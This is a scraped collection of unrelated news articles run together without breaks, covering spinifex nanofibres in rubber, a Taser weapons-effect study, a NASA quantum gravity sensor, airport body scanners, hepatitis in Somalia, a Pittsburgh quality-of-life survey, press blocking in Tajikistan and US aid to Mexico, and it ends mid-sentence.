Nasim Amiralian is exploring how to incorporate spinifex-derived nanofibres into natural rubber. It might be difficult to imagine the spiky grass being comfortable to wear in that way. But when tiny nanofibres of spinifex are added to rubber, the result is a stronger and more flexible product. Nasim, who is based at the University of Queensland, says she first discovered spinifex's potential during her Ph.D. research. She started out looking at extracting spinifex resin to see if it could be used as a glue or adhesive. "I found that it has a very complicated chemistry," Nasim says. "So I started working with the grass biomass and extracting nanofibres. I found that the nanofibres extracted from these spinifex grasses are very thin and long, they are very flexible." The Toughest Of Them All Nasim says that, while you can extract nanofibres from any plant, spinifex nanofibres are very easy to extract and very tough. "It comes back to the specific environmental conditions that spinifex grows in," she says. "To be able to survive the hot and dry conditions, its composition is a bit different to the other plants." And there's no shortage of supply. Credit: IDIDJAUSTRALIA Nasim says there are 69 species of spinifex grass, and it's found all over. "Spinifex is everywhere, it covers 27% of Australia," she says. "We have more of this in Western Australia than in North West Queensland." How To Reinforce Rubber So what's the recipe for spinifex rubber products? Nasim is working with industry partner Derby Rubber on reinforcing natural rubber for the railway, construction and mining industries. Just a small amount of spinifexless than 5%is enough to reinforce rubber, polyurethane or another polymer, Nasim says. Spinifex could also be used to reinforce cement, concrete and cardboard boxes. Indigenous Collaboration Nasim is working hard to optimise the synthesis of the spinifex nanofibres. And she's collaborating with people who have used spinifex and its sticky resin for thousands of yearsIndigenous Australians. The University of Queensland team and partner Dugalunji Aboriginal Corporation have won funding to commission a nanocellulose pilot plant at the university. Under an umbrella agreement between the university and the Dugalunji Aboriginal Corporation, all decisions and profits surrounding the venture are shared with Indigenous people in the area. Nasim says the partnership is providing jobs for Aboriginal trainees, harvesting spinifex grass and working on preliminary processing procedures. Explore further Australian native spinifex grass could be key to super-thin condoms This article first appeared on Particle, a science news website based at Scitech, Perth, Australia. Read the original article. A new study has found that London police officers visibly armed with electroshock 'Taser' weapons were more likely to be assaulted, and used force 48% more often, than those on unarmed shifts. However, while use of force can include everything from restraint and handcuffing to CS spray, the Tasers themselves were only fired twice during the year-long study period. Criminologists from the University of Cambridge say the findings suggest that Tasers can trigger the 'weapons effect': a psychological phenomenon in which sight of a weapon increases aggressive behaviour. While the 'weapons effect' has been repeatedly demonstrated in simulated conditions over the last forty years, this is one of the largest studies to show it "in the field" and the first to reveal the effect in law enforcement. The Cambridge researchers say their findings, published today in the journal Criminal Justice and Behaviour, may well apply to policing situations in which other forms of weaponryincluding the lethal varietyare involved. "We found that officers are more likely to be assaulted when carrying electroshock weaponry, and more likely to apply force," said lead researcher Dr. Barak Ariel from Cambridge's Institute of Criminology. "It is well established that the visual cue of a weapon can stimulate aggression. While our research does not pierce the 'black box' of decision-making, the only difference between our two study conditions was the presence of a Taser device." "There was no increase in injury of suspects or complaints, suggesting it was not the police instigating hostilities. The presence of Tasers appears to provoke a pattern where suspects become more aggressive toward officers, who in turn respond more forcefully," he said. The City of London force is responsible for policing the 'Square Mile' business district in the centre of London. It also holds national responsibility for Economic Crime and prioritises counter-terrorism, violent crime and public order due to its central location. The force was the first in England and Wales to test "extended deployment" of Tasersdescribed as "conducted energy devices" in UK policingto frontline officers. During the rollout, police chiefs allowed Ariel and colleagues to conduct a major experiment. Between June 2016 and June 2017 the researchers randomly allocated 400 frontline shifts a Taser-carrying officer and compared the results to an equal number of unarmed shifts over the same period. A total of 5,981 incidents occurred during the study. Use of force by police carrying Tasers was 48% higher than the officers on unarmed shifts. In what researchers call a "contagion effect", even those unarmed officers accompanying Taser carriers on 'treatment' shifts used force 19% more often than those on Taser-free 'control' shifts. Six physical assaults against police were recorded during shifts with Taser-carrying officers, compared to just three on the unarmed 'control' shifts. While the numbers are small, assaults against officers are rare, and researchers argue that this doubling is significant. Despite the increased hostility uncovered by the study, actual use of electroshock weapons was minimal over the study period, with just nine "deholsteringsonly two of which resulted in electric shocks applied to a suspect. "The City of London police rarely discharged Tasers during the study. Yet the very presence of the weapon led to increased hostility between the police and public," said Ariel. The weapons effect was first shown by psychologist Leonard Berkowitz in 1967, in a laboratory experiment involving the administering of electric shocks in the presence of a riflean experiment that Ariel points out has been replicated 78 times. "For many, a weapon is a deterrence. However, some individuals interpret the sight of a weapon as an aggressive cuea threat that creates a hostile environment," he said. "The response is consequently a 'fight or flight' dilemma that can result in a behavioural manifestation of aggression and assault. This is what we think we are seeing in our Taser experiment." "It would not be surprising to find that serious or violent offenders fit this criteria, especially young malesthe very type of suspect that is regularly in direct contact with frontline police." Half a million police officers in the United States regularly carry Tasers, and electroshock weapons are now becoming part of frontline policing across the UK. The study author's offer a simple solution to bypass the weapons effect: conceal the Tasers. "The relatively inexpensive policy change of keeping Tasers hidden from sight should not limit efficacy, but could reduce the weapons effect we see in the study," said Ariel. "This conclusion could be generalised to all types of police armoury, including the lethal firearms carried by police officers. If the presence of weapons can lead to aggression by suspects, so its concealment should be able to reduce aggression and increase officer safety," he said. Study co-author Chief Superintendent David Lawes, from the City of London Police, said: "Following the findings of the study, we are exploring whether a simple holster change or weapon position move will nullify the weapons effect issue shown in the experiment. We have also updated our training package for officers carrying Tasers to make them aware of the findings." "The use of Tasers have been a proportionate and sensible introduction to policing against a backdrop of unsophisticated terror attacks and an increase in violent crime across London. "The City of London Police seeks to ensure that any major changes to policy are supported by an evidence base and we wanted to be confident that an extension of Taser deployments to our frontline responders was the right thing to do for both our officers and the public they serve. "A number of other forces are interested in replicating the study to add to the evidence base and see whether the experiment produces the same results outside of London. "Across our force, we will continue to use evidence to define how we target problems, which tactics we should use and how we can ensure policing is efficient and safer for both the general public and our officers." More information: Criminal Justice and Behaviour, DOI: 10.1177/0093854818812918 This image demonstrates the control that the Goddard-AOSense team has over the paths of atoms. In this demonstration, they manipulated the path to form the acronym, NASA. Credit: AOSense, Inc. NASA and the Sunnyvale, California-based AOSense, Inc., have successfully built and demonstrated a prototype quantum sensor capable of obtaining highly sensitive and accurate gravity measurementsa stepping stone toward next-generation geodesy, hydrology, and climate-monitoring missions in space. The prototype sensor, developed in collaboration with NASA's Goddard Space Flight Center in Greenbelt, Maryland, employs a revolutionary measurement technique called atom interferometry, which former U.S. Energy Department Secretary Steven Chu and his colleagues invented in the late 1980s. In 1997, Chu received the Nobel Prize in Physics for his work. Since the discovery, researchers worldwide have attempted to build practical, compact, more sensitive quantum sensors, such as atom interferometers, that scientists could use in space-constrained areas, including spacecraft. With funding from NASA's Small Business Innovation Research, Instrument Incubator, and Goddard's Internal Research and Development programs, the Goddard-AOSense team developed an atom-optics gravity gradiometer primarily for mapping Earth's time-varying gravitational field. Although Earth's gravitational field changes for a variety of reasons, the most significant cause is a change in water mass. If a glacier or an ice sheet melts, this would affect mass distribution and therefore Earth's gravitational field "Our sensor is smaller than competing sensors with similar sensitivity goals," said Babak Saif, a Goddard optical physicist and collaborator in the effort. "Previous atom interferometer-based instruments included components that would literally fill a room. Our sensor, in dramatic comparison, is compact and efficient. It could be used on a spacecraft to obtain an extraordinary data set for understanding Earth's water cycle and its response to climate change. In fact, the sensor is a candidate for future NASA missions across a variety of scientific disciplines." Atom interferometry works much like optical interferometry, a 200-year-old technique used in science and industry to measure small displacements in objects. Optical interferometry obtains measurements by comparing light that has been split between two different paths. When the beams from these two paths recombine, they create an interference-fringe pattern that scientists inspect to obtain highly precise measurements. The Goddard-AOSense team built this terrestrial proof-of-concept gravity gradiometer. Credit: AOSense, Inc. Atom interferometry, however, hinges on quantum mechanics, the theory that describes how matter behaves at sub-microscopic scales. Atoms, which are highly sensitive to gravitational signals, can also be cajoled into behaving like light waves. Special pulsing lasers can split and manipulate atom waves to travel different paths. The two atom waves will interact with gravity in a way that affects the interference pattern produced once the two waves recombine. Scientists can then analyze this pattern to obtain an extraordinarily accurate measure of the gravitational field. In particular, the team is eying its quantum sensor as a potential technology to gather the type of data currently produced by NASA's Gravity Recovery and Climate Experiment (GRACE) Follow-On mission. GRACE-FO is a two-satellite mission that has generated monthly gravity maps showing how mass is distributed and how it changes over time. Due to its extraordinary precision, the quantum sensor could eliminate the need for a two-satellite system or provide even greater accuracy if deployed on a second satellite in a complementary orbit, said Lee Feinberg, a Goddard optics expert also involved in the effort. "With this new technology, we can measure the changes of Earth's gravity that come from melting ice caps, droughts, and draining underground water supplies, greatly improving on the pioneering GRACE mission," said John Mather, a Goddard scientist and winner of the Nobel Prize in Physics in 2006 for his work on NASA's Cosmic Background Explorer that helped cement the big-bang theory of the universe. The instrument, however, could be used to answer other scientific questions. "We can measure the interior structure of planets, moons, asteroids, and comets when we send probes to visit them. The technology is so powerful that it can even extend the Nobel-winning measurements of gravitational waves from distant black holes, observing at a new frequency range," Mather said, referring to the confirmation in 2015 of cosmic gravitational wavesliterally, ripples in the fabric of space-time that radiate out in all directions, much like what happens when a stone is thrown into a pond. Since that initial confirmation, the Laser Interferometer Gravitational Wave Observatory and the European Virgo detectors have detected other events. Since 2004, AOSense has developed quantum sensors and atomic clocks, with broad expertise and capabilities spanning all aspects of development and characterization of advanced sensors for precision navigation and timing. Explore further NASA pursues new geodesy application for emerging atom-optics technology Credit: CC0 Public Domain Airport security is getting an upgrade. Soon, instead of stepping into cylindrical body scanners and staying perfectly still with hands overhead, travelers will be able to pass through an open-sided scanner that works much more quickly, NBC News reported Monday. The difference for each traveler is a matter of a few seconds in the scanners, but it required a "feat of engineering" to pull off, and will result in clearer, more accurate imaging, said Carey Rappaport, a Northeastern professor who studies the kind of antenna systems used in the scanners. The new machines use the same scanning technology as the existing machines, but process the information more quickly, Rappaport said. Currently, travelers stand still inside a full-body scanner for a few seconds while antennas rotate around the body. The antennas emit tiny, electromagnetic waves called millimeter-waves that penetrate clothing but bounce off skin, Rappaport said. A computer records the shape those waves make as they bounce back, producing a 3-D image of the person that's analyzed for concealed weapons or other prohibited items, he said. The problem with this method, Rappaport explained, is that it requires the person inside the machine to stand perfectly still while the antenna slowly construct an image by moving around the body. And, humans being human, they can't always stay this still. "If you sneeze or hiccup or shake or shimmy at all, it messes up the image rather significantly," said Rappaport, who is also the deputy director at Northeastern's Awareness and Localization of Explosives-Related Threats, or ALERT, Center. Rappaport is the bulk sensors and sensor systems lead at ALERT as well. A greater chance of a fuzzy image means a greater chance of a false alarm, Rappaport said, which will prompt a pat-down by a Transportation Security Administration employee after the body scan. And this is why the new technology will save a lot of time. The new machines can transmit and receive information almost instantly, because they're multistatic, rather than multi-monostatic systems, Rappaport said. So, people only need to stay still for one second, not three. This is the difference: Image you and a bunch of friends are going into a dark room with headlamps, tasked with creating a map of the furniture in it. One way to do it would be to divide the room into segments, send each person in one at a time to record their segment of the room, then draw their part of the map. That's how the current machines record information, Rappaport said. Another way to do it, though, is to send everyone in at the same time to record their section and "look at what everyone else is looking at, all at the same time," Rappaport said. That's how the new machines record information, he said. Getting all the sensors to "talk at once and talk fast," took years to figure out, Rappaport said. The new machines have the computing power of 30 teraflops, or roughly the equivalent of "all the computation on Northeastern's [Boston] campus all at once," Rappaport said. "The result is a cleaner, higher-fidelity image," he said. "And whenever you have a better image, you're going to have fewer false alarms." The TSA doesn't release false-alarm statistics, but a 2011 study by ProPublica found the false positive rate for the same scanners in German airports was 54 percent. That means every other person in line needed to be pulled aside for a pat-down, holding up the line each time. Rappaport said on a recent trip to a U.S. airport, he saw that everyone in line got pulled aside for a pat-down, a few people more than once. "At a certain point you start to think, 'Why even have the scanner if you're just going to pat everyone down afterward anyway?'" Rappaport said. So even though the new scanners require travelers to stand in the machine just two fewer seconds than the old ones, it's the more accurate image, and fewer pat-downs, that will save everyone time. Of course, there are still lingering challenges for operators of the new scanners. Millimeter-waves have trouble penetrating leather clothing in particular, Rappaport said, as they would for "Lady Gaga wearing that meat dress," he said. Denver International Airport is the first and so far only airport in the United States to use the new scanners, but it's expected the scanners will soon be used at airports nationwide. Explore further LA to become first in US to install subway body scanners Credit: Petr Kratochvil/public domain In times of crisis, TV fiction becomes concerned with changes in the social world, but also with how responses to these changes are visible in a national identity. These conclusions are drawn in a thesis from the university of Gothenburg. "In times of intense social turbulence, TV fiction plays an important socio-cultural role, which has to do with internal processes of understanding, accepting or even rejecting national identities," Georgia Aitaki, author of the thesis, says. "On these occasions, television fiction both mirrors events of the social world and 'layers' them with meanings which can have a crucial effect on how the national self is assessed," she adds. For her thesis, she has analysed content in, and production conditions for, fiction in commercial TV in Greece, from 1989 up until today, in order to better understand media's role in critical and tumultuous times. Her results show that domestically produced fiction provides a window into a nation's past, present, and future, by means of reflecting and commenting on national sentiments in particular moments in time, but also across time. By incorporating events and conditions which are dominant in the social world in the content of popular programs, fiction provides understandings of the turbulent times and contributes to the changing development of a national identity. As an example, she picks Greece's financial crisis in late 2000. "A popular comedy show commented on who was responsible for the situation, and suggested that it is hard for Greeks to change who they are. Thereby it reproduced stereotypes about Greeks," Georgia Aitaki says. Even though the media landscape is changing in Greece, popular media platforms hosting television fiction are primarily commercial. According to recent reports, public broadcasting is mostly investing in imported television fiction programs. In order to build a stronger relationship with local audiences and to support television professionals, Georgia Aitaki thinks public media ought to change direction. "It's important that they make more space for domestically produced fiction, so that they don't leave the possibility of influencing national identity only to commercial powers," she says. More information: The Private Life of a Nation in Crisis. A study on the politics in/of Greek television fiction. The Private Life of a Nation in Crisis. A study on the politics in/of Greek television fiction. hdl.handle.net/2077/57721 Provided by Goteborgs universitet World Journal of Gastroenterology. Viral hepatitis means liver inflammation caused by viruses and is among top-10 mortality factors in the world. It is passed with contaminated food and water, through contact with infected blood, via common use of household appliances such as manicure or shaving sets. There are numerous viruses that can cause this disease. Some of them, such as hepatitis A virus, can be fought with efficient vaccines, while some, such as hepatitis C, are almost untreatable with medicinal drugs. Due to all these factors different types of hepatitis are widely spread, especially in Central Asia and Africa. "After my graduation, I have been working with Internal Medicine Hospital in Somalia under my beloved Professor Osman Dufle. During my work, I have realized that after the collapse of the central government in 1991 the research studies on liver diseases and others were declined. Hence, I started my researches which finally brought me to Russia for my specialization. There I analyse molecularly the hepatitis in my country thorough reviewing of earlier hepatitis studies in the country," said Mohamed Hassan-Kadle, author of the study and member of the Center for Liver Studies at RUDN RUDN medics were the first to gather together scattered data on hepatitis morbidity in Somalia. Numerous studies have been dedicated to the spread of particular types of hepatitis in this country, but this is the first work to describe the rate of viral hepatitis in Somalia in general. "There is no state program in Somalia to monitor and control hepatitis or prevent this disease. Our study and the obtained data may help launch such initiatives on the state level. We expect to raise awareness among the public, health care professionals, and politicians," said Mohamed Hassan-Kadle, author of the study and member of the Center for Liver Studies at RUDN At the initial stage of their research RUDN medics found out 504 studies about the spread of hepatitis in Somalia. After careful selection 29 works were chosen for analysis. These studies contained data on hepatitis morbidity in all age and social groups including pregnant women and infants less than 1 year old. Using mathematical statistics methods, medics obtained disappointing result. 18.9% of Somalia residents were infected with hepatitis B. According to the World Health Organization, if a disease is spread across over 5% of populations it is considered an endemia. To compare, people with hepatitis B account for 4% of population of the world and 9% of Africa. The numbers for hepatitis A and E are much higher - 90.2% and 88.2%. "Our research showed that all types of viral hepatitis are present in Somalia. This should become a burning issue for the country's health care system. Measures should be taken immediately. In particular, excessive levels of hepatitis A and B morbidity may be reduced with available vaccines," added Pavel Ogurtsov, a co-author of the study, and head of the Center for Liver Studies at RUDN. "Additionally, our research recommended further studies are needed to fully understand the population factors underlying the high prevalence of all forms viral hepatitis, particularly in underrepresented regions and among adults, children, blood donors and high-risk groups, to offer better perspectives on all forms of the viral hepatitis burden in Somalia." said Mohamed Hassan- Kadle. More information: doi: 10.3748/wjg.v24.i34.3927 www.wjgnet.com/1007-9327/full/v24/i34/3927.htm Provided by RUDN University Drew Angerer/Getty Images(WASHINGTON) -- The House Intelligence Committee will hand over the transcript from their closed-door, September 2017 interview with longtime Donald Trump ally and friend Roger Stone to special counsel Robert Mueller, ABC News has learned. A source familiar with the committee proceedings on Thursday said members voted to send Stone's committee transcript to Mueller's team. On Wednesday, the special counsel's office put in its first formal request for Stone's testimony transcript, sources told ABC News. The decision came during a business meeting Thursday morning, which had the "transmission of certain executive session materials to the executive branch" on the agenda. Previously, the committee had already voted to release dozens of transcripts from interviews in its Russia investigation publicly, pending a declassification review from the Office of the Director of National Intelligence. Committee Democrats have long maintained that Stone lied to the committee under oath. In a letter exclusively obtained by ABC News from Stone to House Intelligence Committee Chairman Devin Nunes Thursday, Stone's legal team demands the full public release of the transcript. "In order for Mr. Stone to properly and effectively defend himself from the partisan attacks that have only been made possible by the committees ongoing retention in secret of the only verified and accurate record of his testimony, Mr. Stone must be immediately provided this record, in full and without any arbitrary restrictions," an attorney for Stone, Grant Smith, wrote. "Without regard to any decision or action the Committee may take in response to a request by the [special counsel], or any other person or agency, for a copy of the interview transcript, either in whole or in part, Mr. Stone hereby demands the full and immediate release to the general public of the transcript, such that the American citizenry and the world are able to evaluate for themselves Mr. Stones veracity," Smith added. "This is but one of numerous instances in which Mr. Stone has been denied the essential record of his own responses to your Committees many questions, while individuals on the Committee such as Mr. Schiff have abused their own unfettered access to this record have waged a public campaign to falsely portray Mr. Stones voluntary, comprehensive testimony as somehow not truthful, accurate or complete and meanwhile never providing any specific proof of this using Mr. Stones actual statements," Smith argued in the letter. "Because of the forgoing it is more imperative than ever that Mr. Stone be provided a copy of his testimony without further delay," Smith concluded in the letter. Mueller has already charged Trump lawyer Michael Cohen with making false statements to Congress, and former national security adviser Michael Flynn with making false statements to the FBI. While the transcripts arent expected to be released publicly until January, Rep. Adam Schiff, D-Calif. who is set to become the chairman of the committee when Democrats assume control of the House, has said he would expedite the process. Stone's attorney reacted to the committee's vote to turn over Stone's interview transcript to the special counsel Thursday. "With all the unsupported, wild accusations of the Democrats on the committee and the media frenzy surrounding the same, it is not surprising that the special counsels office has asked for access to the transcript, in fact, we had believed that this had taken place a while ago," Smith told ABC News. A spokesman for current House Intelligence Committee Chairman Nunes declined to comment. Copyright 2018, ABC Radio. All rights reserved. Allegheny County residents say their quality of life has improved since they were last surveyed seven years ago, with more of them reporting rising incomes and expressing greater confidence in the local economy. Pittsburghs bid to become Amazons new headquarters gets a thumbs-up from a majority of county residents, who also favor loosening the reins on the sale of wine, liquor and adult-use recreational marijuana. But Allegheny County residents are more concerned today about the water they drink, the roads and bridges they travel and race relations in their neighborhood than they were seven years ago. And theyre not as satisfied with their lives or as happy, according to the new Pittsburgh Regional Quality of Life Survey from Pittsburgh Today and the University Center for Social and Urban Research at the University of Pittsburgh (UCSUR). Some 1,900 Allegheny County residents drawn from the UCSUR Research Registry took the online survey in June. They responded to questions ranging from the economy and government to environment and public safety. Data were adjusted to make the sample representative of the demographic characteristics of the county. And the new survey allows for comparing current views with those reported in a 2011 telephone survey that asked many of the same questions. The survey also underscores how citizens views often depend on race, income and age. View the full survey results here. The race for Amazon Pittsburgh entered the race to land Amazons second headquarters to contend for the jobs, investment and prestige it is expected to deliver. Although Pittsburgh survived the first cut in 2018, the company ended up selecting Long Island City, NY and Crystal City, Va. The prospect of Amazon and its jobs coming to the region was tempered by concerns, such as the risk of shrinking the supply of affordable housing and a debate over whether the specifics of the citys proposal should be made public. Nearly 62 percent of Allegheny County residents strongly or moderately favored Amazon coming to town when surveyed in June. Only 22 percent opposed it with another 14 percent on the fence. Income levels color those views. Generally, the higher their income, the more likely they were to support what has become known as HQ2. The least enthusiastic were people earning between $25,000 and $50,000, nearly 29 percent of who opposed it. Politics and pot Other new questions in the 2018 survey asked residents for their views on two high-profile Pennsylvania government issuesredrawing polit- ical boundaries and legalizing marijuanaas well their thoughts on loosening the states hold on liquor sales. In February, the Pennsylvania Supreme Court imposed a new congressional district map for the 2018 elections after lawmakers failed to agree on a replacement of the previous map that the court ruled was unconstitutional. County residents are of one mind when it comes to gerrymandering, the process of manipulating those boundaries to favor one party over another. Some 97 percent say its a problem. And 76 percent believe the way to solve it is having an independent, nonpartisan commission redraw future political districts, not lawmakers. Political party affiliation influences those views somewhat. Such a commission is favored by 81 percent of Democrats compared to 66.5 percent of Republicans. The divide is wider on the issue of legalizing marijuana. The first medical marijuana dispensaries opened this year in Pennsylvania, which joined more than two dozen states in legalizing cannabis to treat certain health conditions. But Pennsylvania hasnt legalized cannabis for adult recreational use, something nine other states and the District of Columbia have done. More than 62 percent of Allegheny County residents favor legalizing pot for adult recreational use. Again, party affiliation matters: 73 percent of Democrats and 63 percent of independent voters favor taking that step, but only 37.5 percent of Republicans support full legalization. Similarly, 62 percent of county residents support abandoning Pennsylvanias state store system to fully privatize the sale of liquor and wine. While Republican and independent voters are more likely than Democrats to favor scrapping the state stores, fewer than one in four residents overall want to keep them. A quality place Southwestern Pennsylvania gets high marks overall as a place to live. But on this topic more than any other, the perspectives of residents depend on whom is asked. Overall, 68 percent of Allegheny County residents rate the region as either an excellent or very good place to live, while less than 1 percent consider it is a poor place to call home. And they rate the region more favorably than in the 2011 survey, when 60 percent of residents described the region as an excellent or very good place to live. More than half of residents overall also believe the quality of life in the region has improved in recent years, a much rosier assessment than in 2011 when less than 30 percent thought it had gotten better. And county residents overall are more likely in the current survey to rate their neighborhood highly. But when race is considered, opinions sharply diverge. Only 29 percent of African Americans in Allegheny County rate the region as excellent or very good place to live compared with 74 percent of whites. And African Americans are more than twice as likely to say the quality of life has declined. Economic well-being Some 38 percent of Allegheny County residents say their household finances improved in the last three years. And more believe the local and national economies will improve compared to seven years ago when they were last asked for their assessment. That would be welcome news to 52 percent of county residents who report having trouble paying rent, utilities and other necessities. Although half of them say such rough spots are rare, the rate of residents having trouble making ends meet is higher than what was reported in the 2011. And such hardship disproportionately affects African American residents, 70 percent of whom report some difficulty paying their bills. Race relations Widely publicized police shootings, protests and social justice movements have elevated race relations in political and public discourse since the 2011 Quality of Life survey. In the 2018 survey, many more county residents expressed concern about race relations. Nearly 63 percent overall feel race relations in their neighborhoods is a problem, at least to some degree. In 2011, only 42 percent felt that way. African Americans are much more likely to see problems there than their white neighbors. For 40 percent of white residents, race relations isnt a problem at all. But less than 22 percent of African Americans share that view. Nearly 9 percent of African Americans describe race relations as a severe problem compared to 4 percent of whites. Air and water Air pollution has diminished significantly following the decline of steel making in southwestern Pennsylvania. Much of the heavy smoke and smell of sulfur has dissipated. And last year, ground-level ozone levels fell to within federal standards for the first time in decades. Still, Allegheny County remains among the few U.S. counties that fail to meet health-based limits on fine particulate pollution. And public concern is rising. Seven years ago, air quality wasnt a problem in the minds of 47 percent of county residents. Only 32 percent share that view today. Young people are more likely than residents over 45 to believe air quality is a problem. Nearly 76 percent of residents aged 18-29 years think its a problem compared to 57 percent of those 65 or older. Their heightened concern extends to the quality of drinking water and the water in the regions streams and rivers. Only 34.5 percent of county residents believe their drinking water is problem-free. Thats a steep drop in confidence compared with 2011, when 68 percent didnt think there was a problem. Water quality became a prominent national issue shortly after the 2011 survey when the lead contamination of drinking water in Flint, Mich., was reported. Concern over drinking water is much more widespread in the City of Pittsburgh than in the rest of Allegheny County. More than 86 percent of city residents have a problem with their drinking water compared to 54 percent of those who live outside the city. And county residents are not averse to adding muscle to government watchdogs to address such environmental concerns. At a time when relaxing federal environmental regulations is gaining momentum, ratcheting up state oversight is gaining favor in Allegheny County: 77 percent of residents favor increasing state oversight compared to 63 percent seven years ago. Roads and bridges Theres been plenty of news about the regions roads and bridges since the last survey was taken, and much of it has been bad. For example, the fire-damaged Liberty Bridge closed for a month in 2016, and a stretch of Route 30 in East Pittsburgh collapsed earlier this year and was closed for two months. Perhaps it shouldnt be a surprise that concern over the quality of roads and bridges has soared among Allegheny County residents: 57 percent believe roads and bridges are a severe problem today. In 2011, only 32 percent felt that way. They overwhelmingly support increased funding to improve roads and bridges. More than 86 percent favor spending more for repairs, and the most popular way to pay for it is with money from other government funds, not higher gasoline taxes, vehicle registration fees and tolls. But its not only roads and bridges that draw their ire. More residents also see traffic congestion, and the availability of public transit, nonstop flights, and bike and pedestrian routes as problems compared to 2011. Housing burden Housing is a budget-busting necessity for a significant number of Allegheny County residents, the survey suggests. Families whose housing costs consume more than 30 percent of their income are considered cost-burdened by the U.S. Department of Housing and Urban Development. More than 43 percent of Allegheny County residents report housing costs above that threshold, putting them at risk of having difficulty affording other necessities, such as food, transportation and health care. The rate of people facing such circumstances is higher in the city than the rest of the county, and, not surprisingly, its higher among those earning less than $50,000 a year. But even 35 percent of residents earning between $75,000 and $100,000 say their housing costs exceed 30 percent of their income. Such financial strain is particularly widespread among African Americans, 64 percent of whom report housing costs that HUD considers a burden. Health and the cost of care Fewer county residents describe their health as excellent compared to 2011. Still, only 16 percent say they are in fair or poor health. But cost deters a growing number of people from getting a doctors care. More than 14 percent say there were times in the past year they couldnt afford to see a doctor when they needed to. In the previous survey, 11 percent said they couldnt afford an office visit. Happiness More people in Allegheny County may be better off financially than seven years ago, but it appears that hasnt made them any happier. Their life satisfaction and happiness scores are lower today. County residents overall had a mean score of 7.2 when asked to rate how satisfied they are with their lives on a scale of 1 to 10 with 1 being very dissatisfied and 10 being very satisfied. In 2011, it was 7.7. They also scored 7.2 on the happiness scale, down from 7.88 seven years ago. Men and woman, and blacks and whites have similar scores. But age and income are key factors. People earning under $25,000 a year are the least likely to be happy and satisfied with life, while earning over $75,000 and being old enough to qualify for Medicare makes happiness and satisfaction more likely. 58 minutes ago Ireland: UK-EU deal on Brexit trade spat unlikely this year LONDON (AP) The British and Irish governments expressed optimism Thursday that a thorny spat between the U.K. and the European Union over Northern Ireland trade can be resolved, but Ireland's top diplomat indicated that negotiations were likely to drag on into next year. Read Article PRAGUE -- Radio Free Europe/Radio Liberty (RFE/RL) has condemned a government-imposed block on its website in Tajikistan as a flagrant obstruction of its news operations and an assault on media freedom. The block has caused its Tajik language service, known locally as Radio Ozodi, to lose between 30,000 and 35,000 visits to its website every day since it was first detected on November 29. The block is implemented via a Unified Electronic Communications Switching Center (USC) that the government authorized by presidential decree in January 2016, and which is located within the state-owned telecommunications provider, Tojiktelecom. The decree requires all telephone and Internet providers to buy service from the USC exclusively, affording the government singular control over Internet access and traffic and mobile applications inside the country. The embassies of the United Kingdom, Germany, France, the United States, and the EU Delegation in Dushanbe issued a joint statement on December 10 in response to the blackout, expressing their concern over the periodic blockage of news sites, including Asia-Plus and Radio Ozodi, and social networks in Tajikistan. Tajikistan has blocked RFE/RLs and other websites and social networks previously, without official explanation, in apparent response to content authorities find disagreeable. But Abbas Djavadi, RFE/RL Regional Director for Central Asia, said the current blockage is more comprehensive than before, and its impact on our audiences access to independent news coverage is greater, adding so far we have no evidence that Tajik authorities are responding to the international criticism this has produced. About RFE/RLs Tajik Service RFE/RLs Tajik Service, known locally as Radio Ozodi, is one of the most trusted media outlets in Tajikistan, connecting citizens and their local leaders in support of pluralism and good governance. Radio Ozodi has Tajikistans most popular YouTube channel (530,000 subscribers; 187 million video views in 2018) and Facebook page (160,000 followers; 14 million video views in 2018), as well as a Internet presence (18.8 million visits and 56 million page views to ozodi.tj in 2018). About RFE/RL RFE/RL relies on its networks of local reporters to provide accurate news and information to 34 million people in 25 languages and 20 countries where media freedom is restricted, or where a professional press has not fully developed. RFE/RL recorded 2.6 billion combined views across Facebook, YouTube and Instagram in FY2018. RFE/RL is an editorially independent media company funded by a grant from the U.S. Congress through the U.S. Agency for Global Media. ---- FOR MORE INFORMATION, CONTACT: Joanna Levison in Prague (levisonj@rferl.org, +420.221.122.080) Martins Zvaners in Washington (zvanersm@rferl.org, +1.202.457.6948 Particularly during my sojourns in South Africa, it may not be possible for me to perform the moderation function speedily. I regret the necessity of moderation but it has been rendered inevitable by the behaviour of a particular commentator whose contributions will always and without exception be rejected. No correspondence will be entered into regarding moderation decisions. Readers are invited to comment on blog posts. All comments require to be pre-moderated by me, and I shall reject all (a) that are not related to the Lockerbie disaster or (b) that fail to meet my -- perhaps idiosyncratic -- standards of courtesy towards other contributors. Comments will not be rejected simply because I disagree with them or because I, or other contributors, find them irritating. But comments will be rejected if they distort or misrepresent the evidence; are defamatory; or if they risk embroiling me, as publisher, in defamation proceedings. I am perfectly relaxed about being sued in respect of material which I personally have posted -- but not in respect of material that others wish to post as comments and which, in any case, I often strongly disagree with. Thank you for reading! Please log in, or sign up for a new account and purchase a subscription to continue reading. From Trump demanding that Mexico pays for a wall on its side of the border to claims and counterclaims of unfair trade deals, there never seems to be a shortage of drama between the two protagonists. The irony of it, however, is that while doom and gloom headlines continue dominating the media, the relationship between the two continues to thrive. Mexican Foreign Minister Luis Videgaray best captured that sentiment when he declared in February that the two countries were closer than it was with previous administrations... Thats a fact of life. And that has been exemplified once again by the U.S. promising to put its money where its mouth is The United States has pledged $5.8 billion in aid to develop Mexico and Central America, strengthen their economies and curb immigration. The aid package will be used to improve security conditions and job opportunities in Mexico and Central America to allow their citizens to enjoy more comfortable lives in their countries and not have to emigrate. I have a dream that I want to see become a reality ... that nobody will want to go work in the United States anymore, enthused newly inaugurated Mexican President Andres Manuel Lopez Obrador after announcing the joint development plan between Mexico and the U.S. Defying Expectations The pledge is being viewed as a big win for Obrador, coming less than a month after he ascended to Mexicos most powerful office. Obrador was inaugurated on Dec. 1 after scoring a landslide victory in July to become the first Mexican president since 1988 to win an outright majority in both the Senate and Chamber of Deputies. Obrador has been seeking to persuade president Trump to cooperate with Mexico to develop poor Central America countries including Honduras, Guatemala, El Salvador as well as Mexicos impoverished South to minimize immigration. Related: Bad News Builds For Global Markets Its a major win on two fronts: the fact that a deal has happened so soon and that it has defied expectations among skeptics that Obrador, a leftist, and Trump, a Republican, would clash. Trump had previously threatened to slash aid to the region if illegal immigration was not checked. Much of the new pledged aid will take the form of private investment and will depend on the viability of projects while some of it was simply a reaffirmation of previous pledges. The fact that much of the investments will flow through OPIC (Overseas Private Investment Corporation) and cost the U.S. taxpayer nothing must have no doubt made the deal more palatable to the Trump administration. Mexican foreign minister Marcelo Ebrard revealed that Washington is committing a total of $5.8 billion towards the development of Central America with $4.8 billion flowing through OPIC. Of the OPIC amount, $2 billion will go to Southern Mexico and will be bolstered by 